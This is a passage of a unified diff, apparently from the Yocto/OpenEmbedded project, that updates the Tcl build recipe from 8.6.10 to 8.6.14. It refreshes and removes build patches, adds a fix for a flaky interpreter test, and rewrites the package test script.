-[https://github.com/tcltk/tcl/commit/f7fa48c4c75a1e748dc5071e709c0b62ff739eaa]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- compat/strtol.c | 2 +-
- compat/strtoul.c | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/compat/strtol.c b/compat/strtol.c
-index b7f69196c..811006a64 100644
---- a/compat/strtol.c
-+++ b/compat/strtol.c
-@@ -53,7 +53,7 @@ strtol(
- */
-
- p = string;
-- while (TclIsSpaceProc(*p)) {
-+ while (isspace(UCHAR(*p))) {
- p += 1;
- }
-
-diff --git a/compat/strtoul.c b/compat/strtoul.c
-index e37eb05f8..15587f1da 100644
---- a/compat/strtoul.c
-+++ b/compat/strtoul.c
-@@ -74,7 +74,7 @@ strtoul(
- */
-
- p = string;
-- while (TclIsSpaceProc(*p)) {
-+ while (isspace(UCHAR(*p))) {
- p += 1;
- }
- if (*p == '-') {
---
-2.17.1
-
diff --git a/meta/recipes-devtools/tcltk/tcl/alter-includedir.patch b/meta/recipes-devtools/tcltk/tcl/alter-includedir.patch
index 86632d9144..bfc718cfd3 100644
--- a/meta/recipes-devtools/tcltk/tcl/alter-includedir.patch
+++ b/meta/recipes-devtools/tcltk/tcl/alter-includedir.patch
@@ -1,4 +1,9 @@
-Lets install the include header and private header files into
+From 3130dca60636dc12d0d12df75b002fd123349e21 Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Tue, 22 Nov 2022 18:48:27 +0800
+Subject: [PATCH] tcl: update the header location
+
+Lets install the include header and private header files into
usr/include/tcl8.6 when version of tcl is 8.6.x
Upstream-Status: Inappropriate [Configuration Specific]
@@ -7,20 +12,25 @@ Signed-off-by: Khem Raj <raj.khem@gmai.com>
Fixed the TCL_INCLUDE_SPEC
+Also update the header location in tcl.pc to correct the header
+location in case some package such python3 which use pkg-config
+to detect tcl doesn't find the header.
+
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
---
- Makefile.in | 2 +-
- configure | 4 ++--
- configure.in | 4 ++--
- 3 files changed, 5 insertions(+), 5 deletions(-)
+ unix/Makefile.in | 2 +-
+ unix/configure.in | 4 ++--
+ unix/tcl.pc.in | 2 +-
+ 3 files changed, 4 insertions(+), 4 deletions(-)
-diff --git a/Makefile.in b/Makefile.in
-index 97b983b..dc2a4df 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -53,7 +53,7 @@ DLL_INSTALL_DIR = @DLL_INSTALL_DIR@
- SCRIPT_INSTALL_DIR = $(INSTALL_ROOT)$(TCL_LIBRARY)
+diff --git a/unix/Makefile.in b/unix/Makefile.in
+index a3b7d69..969ddb8 100644
+--- a/unix/Makefile.in
++++ b/unix/Makefile.in
+@@ -57,7 +57,7 @@ SCRIPT_INSTALL_DIR = $(INSTALL_ROOT)$(TCL_LIBRARY)
+ MODULE_INSTALL_DIR = $(SCRIPT_INSTALL_DIR)/../tcl8
# Directory in which to install the include file tcl.h:
-INCLUDE_INSTALL_DIR = $(INSTALL_ROOT)$(includedir)
@@ -28,11 +38,11 @@ index 97b983b..dc2a4df 100644
# Path to the private tcl header dir:
PRIVATE_INCLUDE_DIR = @PRIVATE_INCLUDE_DIR@
-diff --git a/configure b/configure
-index 3e78b49..24b3f92 100755
---- a/configure
-+++ b/configure
-@@ -19134,7 +19134,7 @@ eval "TCL_LIB_FILE=libtcl${LIB_SUFFIX}"
+diff --git a/unix/configure.in b/unix/configure.in
+index 4974fb6..a72934f 100644
+--- a/unix/configure.in
++++ b/unix/configure.in
+@@ -776,7 +776,7 @@ eval "TCL_LIB_FILE=libtcl${LIB_SUFFIX}"
eval "TCL_LIB_FILE=${TCL_LIB_FILE}"
test -z "$TCL_LIBRARY" && TCL_LIBRARY='$(libdir)/tcl$(VERSION)'
@@ -41,7 +51,7 @@ index 3e78b49..24b3f92 100755
HTML_DIR='$(DISTDIR)/html'
# Note: in the following variable, it's important to use the absolute
-@@ -19293,7 +19293,7 @@ TCL_BUILD_STUB_LIB_PATH="`pwd`/${TCL_STUB_LIB_FILE}"
+@@ -897,7 +897,7 @@ TCL_BUILD_STUB_LIB_PATH="`pwd`/${TCL_STUB_LIB_FILE}"
TCL_STUB_LIB_PATH="${TCL_STUB_LIB_DIR}/${TCL_STUB_LIB_FILE}"
# Install time header dir can be set via --includedir
@@ -50,28 +60,16 @@ index 3e78b49..24b3f92 100755
#------------------------------------------------------------------------
# tclConfig.sh refers to this by a different name
-diff --git a/configure.in b/configure.in
-index 0e28b14..62d9b41 100755
---- a/configure.in
-+++ b/configure.in
-@@ -791,7 +791,7 @@ eval "TCL_LIB_FILE=libtcl${LIB_SUFFIX}"
- eval "TCL_LIB_FILE=${TCL_LIB_FILE}"
-
- test -z "$TCL_LIBRARY" && TCL_LIBRARY='$(libdir)/tcl$(VERSION)'
--PRIVATE_INCLUDE_DIR='$(includedir)'
-+PRIVATE_INCLUDE_DIR='$(includedir)/tcl$(VERSION)'
- HTML_DIR='$(DISTDIR)/html'
-
- # Note: in the following variable, it's important to use the absolute
-@@ -912,7 +912,7 @@ TCL_BUILD_STUB_LIB_PATH="`pwd`/${TCL_STUB_LIB_FILE}"
- TCL_STUB_LIB_PATH="${TCL_STUB_LIB_DIR}/${TCL_STUB_LIB_FILE}"
+diff --git a/unix/tcl.pc.in b/unix/tcl.pc.in
+index 93b5e69..dcd51d7 100644
+--- a/unix/tcl.pc.in
++++ b/unix/tcl.pc.in
+@@ -3,7 +3,7 @@
+ prefix=@prefix@
+ exec_prefix=@exec_prefix@
+ libdir=@libdir@
+-includedir=@includedir@
++includedir=@includedir@/tcl@PACKAGE_VERSION@
+ libfile=@TCL_LIB_FILE@
- # Install time header dir can be set via --includedir
--eval "TCL_INCLUDE_SPEC=\"-I${includedir}\""
-+eval "TCL_INCLUDE_SPEC=\"-I${includedir}/tcl${VERSION}\""
-
- #------------------------------------------------------------------------
- # tclConfig.sh refers to this by a different name
---
-1.7.10.4
-
+ Name: Tool Command Language
diff --git a/meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch b/meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch
deleted file mode 100644
index 72a0fa4520..0000000000
--- a/meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Fixes tcl target recipe build on old distros which have glibc older than 2.14
-
-| + echo 'NOTE: make DESTDIR=/srv/home/nitin/builds/build-gcc47/tmp/work/x86_64-poky-linux/tcl-8.5.11-r5/image install'
-| NOTE: make DESTDIR=/srv/home/nitin/builds/build-gcc47/tmp/work/x86_64-poky-linux/tcl-8.5.11-r5/image install
-| + make DESTDIR=/srv/home/nitin/builds/build-gcc47/tmp/work/x86_64-poky-linux/tcl-8.5.11-r5/image install
-| Making directory /srv/home/nitin/builds/build-gcc47/tmp/work/x86_64-poky-linux/tcl-8.5.11-r5/image/usr/lib
-| Installing message catalogs
-| Making directory /srv/home/nitin/builds/build-gcc47/tmp/work/x86_64-poky-linux/tcl-8.5.11-r5/image/usr/share/man
-| tclsh: /lib64/libc.so.6: version `GLIBC_2.14' not found (required by /srv/home/nitin/builds/build-gcc47/tmp/work/x86_64-poky-linux/tcl-8.5.11-r5/tcl8.5.11/unix/libtcl8.5.so)
-| Making directory /srv/home/nitin/builds/build-gcc47/tmp/work/x86_64-poky-linux/tcl-8.5.11-r5/image/usr/bin
-| make: *** [install-msgs] Error 1
-
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-2012/04/26
-
-Index: unix/Makefile.in
-===================================================================
---- unix.orig/Makefile.in 2013-11-10 23:38:01.787425628 -0800
-+++ unix/Makefile.in 2013-11-10 23:37:59.807425578 -0800
-@@ -686,7 +686,7 @@
- # tcltest executable gets the build directory burned into its ld search path.
- # This keeps tcltest from picking up an already installed version of the Tcl
- # library.
--SHELL_ENV = @LD_LIBRARY_PATH_VAR@=`pwd`:${@LD_LIBRARY_PATH_VAR@} \
-+SHELL_ENV = @LD_LIBRARY_PATH_VAR@=${@LD_LIBRARY_PATH_VAR@} \
- TCLLIBPATH="@abs_builddir@/pkgs" \
- TCL_LIBRARY="${TCL_BUILDTIME_LIBRARY}"
-
-@@ -712,7 +712,7 @@
- $(SHELL_ENV) ${TCLTEST_EXE} $(TOP_DIR)/tests/all.tcl $(TESTFLAGS)
-
- gdb-test: ${TCLTEST_EXE}
-- @echo "set env @LD_LIBRARY_PATH_VAR@=`pwd`:$${@LD_LIBRARY_PATH_VAR@}" > gdb.run
-+ @echo "set env @LD_LIBRARY_PATH_VAR@=$${@LD_LIBRARY_PATH_VAR@}" > gdb.run
- @echo "set env TCL_LIBRARY=${TCL_BUILDTIME_LIBRARY}" >> gdb.run
- @echo "set args $(TOP_DIR)/tests/all.tcl $(TESTFLAGS) -singleproc 1" >> gdb.run
- $(GDB) ${TCLTEST_EXE} --command=gdb.run
diff --git a/meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch b/meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch
index c60eb75379..09c49daa2c 100644
--- a/meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch
+++ b/meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch
@@ -1,10 +1,18 @@
-Upstream-Status: Pending
+From 371aa300369e9ea3234cba22d5c0babc7d40dfdf Mon Sep 17 00:00:00 2001
+From: Nitin A Kamble <nitin.a.kamble@intel.com>
+Date: Fri, 13 Aug 2010 12:24:00 -0700
+Subject: [PATCH] tcl: fix a build issue
-Index: unix/Makefile.in
-===================================================================
---- unix.orig/Makefile.in 2013-11-10 23:37:34.243424934 -0800
-+++ unix/Makefile.in 2013-11-10 23:37:34.243424934 -0800
-@@ -709,23 +709,23 @@
+Upstream-Status: Inappropriate [upstream does not support installed tests]
+---
+ unix/Makefile.in | 20 ++++++++++----------
+ 1 file changed, 10 insertions(+), 10 deletions(-)
+
+diff --git a/unix/Makefile.in b/unix/Makefile.in
+index 9dd053d..a3b7d69 100644
+--- a/unix/Makefile.in
++++ b/unix/Makefile.in
+@@ -815,7 +815,7 @@ tcltest-real:
test: test-tcl test-packages
test-tcl: ${TCLTEST_EXE}
@@ -12,9 +20,11 @@ Index: unix/Makefile.in
+ $(SHELL_ENV) ${TCLTEST_EXE} $(TOP_DIR)/tests/all.tcl $(TESTFLAGS)
gdb-test: ${TCLTEST_EXE}
- @echo "set env @LD_LIBRARY_PATH_VAR@=`pwd`:$${@LD_LIBRARY_PATH_VAR@}" > gdb.run
- @echo "set env TCL_LIBRARY=${TCL_BUILDTIME_LIBRARY}" >> gdb.run
- @echo "set args $(TOP_DIR)/tests/all.tcl $(TESTFLAGS) -singleproc 1" >> gdb.run
+ @printf '%s ' set env @LD_LIBRARY_PATH_VAR@=\"`pwd`$${@LD_LIBRARY_PATH_VAR@:+:$${@LD_LIBRARY_PATH_VAR}}\" > gdb.run
+@@ -824,17 +824,17 @@ gdb-test: ${TCLTEST_EXE}
+ @printf '\n' >>gdb.run
+ @printf '%s ' set args $(call shquotequote,$(TOP_DIR))/tests/all.tcl\
+ $(call shquotequote,$(TESTFLAGS)) -singleproc 1 >> gdb.run
- $(GDB) ./${TCLTEST_EXE} --command=gdb.run
+ $(GDB) ${TCLTEST_EXE} --command=gdb.run
rm gdb.run
@@ -32,7 +42,7 @@ Index: unix/Makefile.in
# The following target generates the shared libraries in dltest/ that are used
# for testing; they are included as part of the "tcltest" target (via the
-@@ -743,23 +743,23 @@
+@@ -852,28 +852,28 @@ dltest.marker: ${STUB_LIB_FILE}
# This target can be used to run tclsh from the build directory
# via `make shell SCRIPT=/tmp/foo.tcl`
shell: ${TCL_EXE}
@@ -44,9 +54,14 @@ Index: unix/Makefile.in
- $(SHELL_ENV) $(GDB) ./${TCL_EXE}
+ $(SHELL_ENV) $(GDB) ${TCL_EXE}
+ lldb: ${TCL_EXE}
+ $(SHELL_ENV) $(LLDB) ./${TCL_EXE}
+
valgrind: ${TCL_EXE} ${TCLTEST_EXE}
-- $(SHELL_ENV) $(VALGRIND) $(VALGRINDARGS) ./${TCLTEST_EXE} $(TOP_DIR)/tests/all.tcl -singleproc 1 -constraints valgrind $(TESTFLAGS)
-+ $(SHELL_ENV) $(VALGRIND) $(VALGRINDARGS) ${TCLTEST_EXE} $(TOP_DIR)/tests/all.tcl -singleproc 1 -constraints valgrind $(TESTFLAGS)
+- $(SHELL_ENV) $(VALGRIND) $(VALGRINDARGS) ./${TCLTEST_EXE} \
++ $(SHELL_ENV) $(VALGRIND) $(VALGRINDARGS) ${TCLTEST_EXE} \
+ $(TOP_DIR)/tests/all.tcl -singleproc 1 -constraints valgrind \
+ $(TESTFLAGS)
valgrindshell: ${TCL_EXE}
- $(SHELL_ENV) $(VALGRIND) $(VALGRINDARGS) ./${TCL_EXE} $(SCRIPT)
diff --git a/meta/recipes-devtools/tcltk/tcl/interp.patch b/meta/recipes-devtools/tcltk/tcl/interp.patch
new file mode 100644
index 0000000000..2e0dc94cff
--- /dev/null
+++ b/meta/recipes-devtools/tcltk/tcl/interp.patch
@@ -0,0 +1,40 @@
+From 426aa2ff62dda77fd011e8f630b9d4ea17984817 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Mon, 12 Jul 2021 14:50:13 +0100
+Subject: [PATCH] tcl: fix race in interp.test
+
+The interp-36.7 patch has race conditions and is missing cleanup. This patch by
+a Tcl maintainer should improve matters.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ tests/interp.test | 7 ++++---
+ 1 file changed, 4 insertions(+), 3 deletions(-)
+
+diff --git a/tests/interp.test b/tests/interp.test
+index d742484..fc90990 100644
+--- a/tests/interp.test
++++ b/tests/interp.test
+@@ -3595,17 +3595,18 @@ test interp-36.7 {ChildBgerror sets error handler of child [1999035]} -setup {
+ variable result
+ set result [lindex $args 0]
+ }
++ set tout [after 5000 {set result timeout}]
+ } -body {
+ child eval {
+ variable done {}
+ after 0 error foo
+- after 10 [list ::set [namespace which -variable done] {}]
+- vwait [namespace which -variable done]
+ }
++ vwait result
+ set result
+ } -cleanup {
++ after cancel $tout
+ variable result {}
+- unset -nocomplain result
++ unset -nocomplain result tout
+ interp delete child
+ } -result foo
+
diff --git a/meta/recipes-devtools/tcltk/tcl/no_packages.patch b/meta/recipes-devtools/tcltk/tcl/no_packages.patch
deleted file mode 100644
index 5c622a2369..0000000000
--- a/meta/recipes-devtools/tcltk/tcl/no_packages.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-tcl 8.6.0 builds by default a number of packages that are not needed in Yocto.
-This patch changes the makefile so that these packages are not built by default.
-
-Upstream-Status:Inappropriate [embedded specific]
-
-Signed-off-by: Bogdan Marinescu <bogdan.a.marinescu@intel.com>
-
-diff --git a/Makefile.in b/Makefile.in
-index b729ffd..2c2e824 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -612,7 +612,7 @@ SRCS = $(GENERIC_SRCS) $(TOMMATH_SRCS) $(UNIX_SRCS) $(NOTIFY_SRCS) \
- # Start of rules
- #--------------------------------------------------------------------------
-
--all: binaries libraries doc packages
-+all: binaries libraries doc
-
- binaries: ${LIB_FILE} ${TCL_EXE}
-
-@@ -656,12 +656,12 @@ Makefile: $(UNIX_DIR)/Makefile.in $(DLTEST_DIR)/Makefile.in
- #tclConfig.h: $(UNIX_DIR)/tclConfig.h.in
- # $(SHELL) config.status
-
--clean: clean-packages
-+clean:
- rm -rf *.a *.o libtcl* core errs *~ \#* TAGS *.E a.out \
- errors ${TCL_EXE} ${TCLTEST_EXE} lib.exp Tcl @DTRACE_HDR@
- cd dltest ; $(MAKE) clean
-
--distclean: distclean-packages clean
-+distclean: clean
- rm -rf Makefile config.status config.cache config.log tclConfig.sh \
- tclConfig.h *.plist Tcl.framework tcl.pc
- cd dltest ; $(MAKE) distclean
-@@ -709,7 +709,7 @@ tcltest-real:
- # tcltest, ie:
- # % make test TESTFLAGS="-verbose bps -file fileName.test"
-
--test: test-tcl test-packages
-+test: test-tcl
-
- test-tcl: ${TCLTEST_EXE}
- $(SHELL_ENV) ${TCLTEST_EXE} $(TOP_DIR)/tests/all.tcl $(TESTFLAGS)
-@@ -774,7 +774,7 @@ INSTALL_PACKAGE_TARGETS = install-packages
- INSTALL_DEV_TARGETS = install-headers
- INSTALL_EXTRA_TARGETS = @EXTRA_INSTALL@
- INSTALL_TARGETS = $(INSTALL_BASE_TARGETS) $(INSTALL_DOC_TARGETS) $(INSTALL_DEV_TARGETS) \
-- $(INSTALL_PACKAGE_TARGETS) $(INSTALL_EXTRA_TARGETS)
-+ $(INSTALL_EXTRA_TARGETS)
-
- install: $(INSTALL_TARGETS)
-
diff --git a/meta/recipes-devtools/tcltk/tcl/run-ptest b/meta/recipes-devtools/tcltk/tcl/run-ptest
index 22bb69ae0d..a403a74bb6 100644
--- a/meta/recipes-devtools/tcltk/tcl/run-ptest
+++ b/meta/recipes-devtools/tcltk/tcl/run-ptest
@@ -1,13 +1,29 @@
#!/bin/sh
-for i in `ls tests/*.test | awk -F/ '{print $2}'`; do
- TCL_LIBRARY=library ./tcltest tests/all.tcl -file $i >$i.log 2>&1
- grep -q "^Files with failing tests:" $i.log
+# clock.test needs a timezone to be set
+export TZ="Europe/London"
+export TCL_LIBRARY=library
+export ERROR_ON_FAILURES=1
+
+# Some tests are overly strict with timings and fail on loaded systems.
+SKIP=""
+# 15321
+SKIP="$SKIP async-\* event-\*"
+# 14882
+SKIP="$SKIP cmdMZ-6.6"
+# 15081
+SKIP="$SKIP exit-1.\*"
+# 15407 15421
+SKIP="$SKIP \*io-46.1"
+# 14825
+SKIP="$SKIP socket-\* socket_inet-\*"
+
+for i in tests/*.test; do
+ i=$(basename $i)
+ ./tcltest tests/all.tcl -file $i -skip "$SKIP"
if [ $? -eq 0 ]; then
- echo "FAIL: $i"
- cat $i.log
- else
echo "PASS: $i"
+ else
+ echo "FAIL: $i"
fi
- rm -f $i.log
done
diff --git a/meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch b/meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch
index d1fc9b92e5..a0195e263c 100644
--- a/meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch
+++ b/meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch
@@ -1,39 +1,20 @@
+From b89fd73daf9b3eb2f889f65baba5f90d8a930c82 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <rpurdie@linux.intel.com>
+Date: Wed, 9 Dec 2009 23:59:44 +0000
+Subject: [PATCH] tcl: Add tcltk from OE.dev but with legacy staging function
+
Upstream-Status: Pending
+---
+ unix/Makefile.in | 5 ++++-
+ unix/tcl.m4 | 3 +++
+ 2 files changed, 7 insertions(+), 1 deletion(-)
-Index: unix/configure
-===================================================================
---- unix.orig/configure 2013-09-19 13:17:13.000000000 -0700
-+++ unix/configure 2013-11-11 00:20:51.519490342 -0800
-@@ -7599,6 +7599,9 @@
- # get rid of the warnings.
- #CFLAGS_OPTIMIZE="${CFLAGS_OPTIMIZE} -D__NO_STRING_INLINES -D__NO_MATH_INLINES"
-
-+ # following line added by CW for Debian GNU/Linux
-+ TCL_SHLIB_LD_EXTRAS="-Wl,-soname,\${TCL_LIB_FILE}.0"
-+
- SHLIB_LD='${CC} ${CFLAGS} ${LDFLAGS} -shared'
- DL_OBJS="tclLoadDl.o"
- DL_LIBS="-ldl"
-Index: unix/tcl.m4
-===================================================================
---- unix.orig/tcl.m4 2013-09-19 13:17:13.000000000 -0700
-+++ unix/tcl.m4 2013-11-11 00:17:24.263485123 -0800
-@@ -1415,6 +1415,9 @@
- # get rid of the warnings.
- #CFLAGS_OPTIMIZE="${CFLAGS_OPTIMIZE} -D__NO_STRING_INLINES -D__NO_MATH_INLINES"
-
-+ # following line added by CW for Debian GNU/Linux
-+ TCL_SHLIB_LD_EXTRAS="-Wl,-soname,\${TCL_LIB_FILE}.0"
-+
- SHLIB_LD='${CC} ${CFLAGS} ${LDFLAGS} -shared'
- DL_OBJS="tclLoadDl.o"
- DL_LIBS="-ldl"
-Index: unix/Makefile.in
-===================================================================
---- unix.orig/Makefile.in 2013-09-19 13:17:13.000000000 -0700
-+++ unix/Makefile.in 2013-11-11 00:20:32.423489861 -0800
-@@ -796,7 +796,10 @@
- done;
+diff --git a/unix/Makefile.in b/unix/Makefile.in
+index 7619afc..9dd053d 100644
+--- a/unix/Makefile.in
++++ b/unix/Makefile.in
+@@ -904,7 +904,10 @@ install-binaries: binaries
+ done
@echo "Installing $(LIB_FILE) to $(DLL_INSTALL_DIR)/"
@@INSTALL_LIB@
- @chmod 555 "$(DLL_INSTALL_DIR)/$(LIB_FILE)"
@@ -44,3 +25,17 @@ Index: unix/Makefile.in
@echo "Installing ${TCL_EXE} as $(BIN_INSTALL_DIR)/tclsh$(VERSION)${EXE_SUFFIX}"
@$(INSTALL_PROGRAM) ${TCL_EXE} "$(BIN_INSTALL_DIR)/tclsh$(VERSION)${EXE_SUFFIX}"
@echo "Installing tclConfig.sh to $(CONFIG_INSTALL_DIR)/"
+diff --git a/unix/tcl.m4 b/unix/tcl.m4
+index 0307a06..37c4d67 100644
+--- a/unix/tcl.m4
++++ b/unix/tcl.m4
+@@ -1378,6 +1378,9 @@ AC_DEFUN([SC_CONFIG_CFLAGS], [
+ # get rid of the warnings.
+ #CFLAGS_OPTIMIZE="${CFLAGS_OPTIMIZE} -D__NO_STRING_INLINES -D__NO_MATH_INLINES"
+
++ # following line added by CW for Debian GNU/Linux
++ TCL_SHLIB_LD_EXTRAS="-Wl,-soname,\${TCL_LIB_FILE}.0"
++
+ SHLIB_LD='${CC} ${CFLAGS} ${LDFLAGS} -shared'
+ DL_OBJS="tclLoadDl.o"
+ DL_LIBS="-ldl"
diff --git a/meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch b/meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch
index 17d251d554..93e7877256 100644
--- a/meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch
+++ b/meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch
@@ -1,4 +1,4 @@
-From 6efc98774681795712073c2b91e5e9d1763239b8 Mon Sep 17 00:00:00 2001
+From 050fc597fbfa4da2c31bd0df58c871892a490470 Mon Sep 17 00:00:00 2001
From: "Song.Li" <Song.Li@windriver.com>
Date: Wed, 1 Aug 2012 19:05:51 +0800
Subject: [PATCH] tcl:install tcl to lib64 instead of lib on 64bit target
@@ -7,37 +7,20 @@ Remove hardcoded library install path. Change $(prefix)/lib/ to ${libdir}.
[YOCTO #2876]
-This is not a bug, but libraries should be installed into directory .../lib/.
-On 64bit target that should be lib64/.
-
-Upstream-Status: Inappropriate [configuration]
+Upstream-Status: Pending
Signed-off-by: Song.Li <Song.Li@windriver.com>
Signed-off-by: Kai Kang <kai.kang@windriver.com>
Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
---
- configure | 2 +-
- configure.in | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
+ unix/configure.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
-Index: unix/configure
-===================================================================
---- unix.orig/configure 2013-11-10 23:38:33.643426430 -0800
-+++ unix/configure 2013-11-10 23:39:51.347428387 -0800
-@@ -19134,7 +19134,7 @@
-
- eval "TCL_LIB_FILE=${TCL_LIB_FILE}"
-
--test -z "$TCL_LIBRARY" && TCL_LIBRARY='$(prefix)/lib/tcl$(VERSION)'
-+test -z "$TCL_LIBRARY" && TCL_LIBRARY='$(libdir)/tcl$(VERSION)'
- PRIVATE_INCLUDE_DIR='$(includedir)'
- HTML_DIR='$(DISTDIR)/html'
-
-Index: unix/configure.in
-===================================================================
---- unix.orig/configure.in 2013-11-10 23:20:50.000000000 -0800
-+++ unix/configure.in 2013-11-10 23:39:41.199428131 -0800
-@@ -790,7 +790,7 @@
+diff --git a/unix/configure.in b/unix/configure.in
+index 4f62510..4974fb6 100644
+--- a/unix/configure.in
++++ b/unix/configure.in
+@@ -775,7 +775,7 @@ eval "TCL_LIB_FILE=libtcl${LIB_SUFFIX}"
eval "TCL_LIB_FILE=${TCL_LIB_FILE}"
diff --git a/meta/recipes-devtools/tcltk/tcl_8.6.10.bb b/meta/recipes-devtools/tcltk/tcl_8.6.10.bb
deleted file mode 100644
index aedd96b021..0000000000
--- a/meta/recipes-devtools/tcltk/tcl_8.6.10.bb
+++ /dev/null
@@ -1,105 +0,0 @@
-SUMMARY = "Tool Command Language"
-HOMEPAGE = "http://tcl.sourceforge.net"
-SECTION = "devel/tcltk"
-
-# http://www.tcl.tk/software/tcltk/license.html
-LICENSE = "tcl & BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://../license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../compat/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../library/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../macosx/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../tests/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../win/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
-"
-
-DEPENDS = "tcl-native zlib"
-
-BASE_SRC_URI = "${SOURCEFORGE_MIRROR}/tcl/${BPN}${PV}-src.tar.gz \
- file://tcl-add-soname.patch"
-SRC_URI = "${BASE_SRC_URI} \
- file://fix_non_native_build_issue.patch \
- file://fix_issue_with_old_distro_glibc.patch \
- file://no_packages.patch \
- file://tcl-remove-hardcoded-install-path.patch \
- file://alter-includedir.patch \
- file://0001-Fix-abd4abedd2-Failed-to-build-tk-8.6.10-with-cross-.patch;patchdir=.. \
- file://run-ptest \
-"
-SRC_URI[md5sum] = "97c55573f8520bcab74e21bfd8d0aadc"
-SRC_URI[sha256sum] = "5196dbf6638e3df8d5c87b5815c8c2b758496eb6f0e41446596c9a4e638d87ed"
-
-SRC_URI_class-native = "${BASE_SRC_URI}"
-
-S = "${WORKDIR}/${BPN}${PV}/unix"
-
-VER = "${PV}"
-
-inherit autotools ptest binconfig update-alternatives
-
-EXTRA_OECONF = "--enable-threads --disable-rpath --libdir=${libdir}"
-
-do_compile_prepend() {
- echo > ${S}/../compat/fixstrtod.c
-}
-
-do_install() {
- autotools_do_install
- oe_runmake 'DESTDIR=${D}' install-private-headers
- ln -sf ./tclsh${VER} ${D}${bindir}/tclsh
- ln -sf tclsh8.6 ${D}${bindir}/tclsh${VER}
- sed -i "s;-L${B};-L${STAGING_LIBDIR};g" tclConfig.sh
- sed -i "s;'${WORKDIR};'${STAGING_INCDIR};g" tclConfig.sh
- install -d ${D}${bindir_crossscripts}
- install -m 0755 tclConfig.sh ${D}${bindir_crossscripts}
- install -m 0755 tclConfig.sh ${D}${libdir}
- for dir in compat generic unix; do
- install -d ${D}${includedir}/${BPN}${VER}/$dir
- install -m 0644 ${S}/../$dir/*.h ${D}${includedir}/${BPN}${VER}/$dir/
- done
-}
-
-SYSROOT_DIRS += "${bindir_crossscripts}"
-
-PACKAGES =+ "tcl-lib"
-FILES_tcl-lib = "${libdir}/libtcl8.6.so.*"
-FILES_${PN} += "${libdir}/tcl${VER} ${libdir}/tcl8.6 ${libdir}/tcl8"
-FILES_${PN}-dev += "${libdir}/tclConfig.sh ${libdir}/tclooConfig.sh"
-
-ALTERNATIVE_${PN}-doc = "Thread.3"
-ALTERNATIVE_LINK_NAME[Thread.3] = "${mandir}/man3/Thread.3"
-
-# isn't getting picked up by shlibs code
-RDEPENDS_${PN} += "tcl-lib"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}-ptest += "libgcc"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_compile_ptest() {
- oe_runmake tcltest
-}
-
-do_install_ptest() {
- cp ${B}/tcltest ${D}${PTEST_PATH}
- cp -r ${S}/../library ${D}${PTEST_PATH}
- cp -r ${S}/../tests ${D}${PTEST_PATH}
-}
-
-# Fix some paths that might be used by Tcl extensions
-BINCONFIG_GLOB = "*Config.sh"
-
-# Fix the path in sstate
-SSTATE_SCAN_FILES += "*Config.sh"
-
-# Cleanup host path from ${libdir}/tclConfig.sh and remove the
-# ${bindir_crossscripts}/tclConfig.sh from target
-PACKAGE_PREPROCESS_FUNCS += "tcl_package_preprocess"
-tcl_package_preprocess() {
- sed -i -e "s;${DEBUG_PREFIX_MAP};;g" \
- -e "s;-L${STAGING_LIBDIR};-L${libdir};g" \
- -e "s;${STAGING_INCDIR};${includedir};g" \
- -e "s;--sysroot=${RECIPE_SYSROOT};;g" \
- ${PKGD}${libdir}/tclConfig.sh
-
- rm -f ${PKGD}${bindir_crossscripts}/tclConfig.sh
-}
diff --git a/meta/recipes-devtools/tcltk/tcl_8.6.14.bb b/meta/recipes-devtools/tcltk/tcl_8.6.14.bb
new file mode 100644
index 0000000000..de4f5b878f
--- /dev/null
+++ b/meta/recipes-devtools/tcltk/tcl_8.6.14.bb
@@ -0,0 +1,110 @@
+SUMMARY = "Tool Command Language"
+HOMEPAGE = "http://tcl.sourceforge.net"
+DESCRIPTION = "Tool Command Language, is an open-source multi-purpose C library which includes a powerful dynamic scripting language. Together they provide ideal cross-platform development environment for any programming project."
+SECTION = "devel/tcltk"
+
+# http://www.tcl.tk/software/tcltk/license.html
+LICENSE = "TCL & BSD-3-Clause"
